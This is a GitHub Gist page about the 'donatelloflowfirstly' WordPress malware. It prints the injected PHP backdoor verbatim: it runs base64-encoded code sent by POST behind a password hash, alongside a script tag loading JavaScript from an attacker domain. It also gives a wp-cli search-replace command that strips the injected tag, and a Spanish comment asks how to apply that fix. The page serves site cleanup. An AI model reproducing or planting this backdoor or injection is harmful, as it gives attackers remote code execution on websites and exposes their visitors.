Last active
August 23, 2020 17:47
-
-
Save malwador/70e6fa8ac703d105490b6f5bb1708436 to your computer and use it in GitHub Desktop.
donatelloflowfirstly JS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php error_reporting(0);ini_set('display_errors', 0); if(isset($_POST['m']) && md5($_POST['m']) == "8b83a84918c63d1e9b9ab82e07e20539" ) {$a = base64_decode($_POST['a']);file_put_contents('_a','<?php '.$a);$a='_a';if(f ile_exists($a)){include($a);unlink($a);}} ?><script type='text/javascript' src='https://js.donatelloflowfirstly.ga/stat.js'></script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| wp search-replace "<script type=.text.javascript. src=.https:..js.donatelloflowfirstly.ga.stat.js.><.script>" "" --regex --skip-plugins --skip-themes |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hola Riper81
Estos últimos días si que he tenido problemas con ese bendito malware (donatello), soy diseñador y tengo conocimientos básicos de código, Entiendo que propones una solución pero no se muy bien como ejecutarla, lanzar el comando para remplazar por la terminal wp-cli pero la linea de hader php no entiendo como proceder, si puedes explicarme o remitirme a algun blog que explique el procedimiento te agradeceria!
Feliz dia.